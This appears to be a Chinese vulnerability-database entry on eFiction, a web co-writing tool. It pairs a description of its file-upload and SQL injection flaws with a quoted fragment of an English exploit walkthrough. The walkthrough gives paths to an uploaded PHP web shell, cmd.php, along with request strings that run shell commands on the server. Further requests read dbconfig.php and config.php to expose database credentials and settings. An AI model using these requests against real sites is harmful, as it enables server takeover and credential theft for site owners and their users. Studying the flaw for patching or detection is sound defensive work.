|漏洞详情
eFiction是一款基于Web的远程协同写作的工具。eFiction处理用户请求时存在多个输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令或执行SQL注入攻击。eFiction的文件上传模块在处理上传文件时没能正确检查文件的扩展名,远程攻击者可以上传php后缀的可执行代码,从而使攻击者可以执行任意指令。eFiction的authors.php、viewstory.php、viewuser.php脚本没有对用户提交的参数数据做充分的检测过滤,攻击者可以通过在输入数据中插入特定的SQL代码非授权操作数据库。

you can craft a smaller gif, try it
the uploaded file is reachable at:

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.ph
p
(efiction 1.0/1.1)

or

http://[target]/[path_to_efiction]/stories/[user_id]/images/cmd.php
ex:
http://[target]/[path_to_efiction]/stories/1/images/cmd.php
http://[target]/[path_to_efiction]/stories/2/images/cmd.php
(efiction 2.0)

now you can launch commands redirecting the output to a temporary file:

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.ph
p?cmd=ls%20-la>README
http://[target]/[path_to_efiction]/stories/[your_username]/images/README

to see database username & password:

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.ph
p?cmd=cat%20../../../data/dbconfig.php>README
http://[target]/[path_to_efiction]/stories/[your_username]/images/README

to see database table prefix and various settings:
http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.ph
p?cmd=cat%20../../../config.php>README
http://[target]/[path_to_efiction]/stories/[your_username]/images/README

notes: in efiction 1.0 /1.1 members are NOT allowed to upload images by default
       if efiction 2.0 members are allowed to upload images by default
       from efiction 1.1, installing the script, you can specify a different table prefix, try efiction_fanfiction_authors, etc.
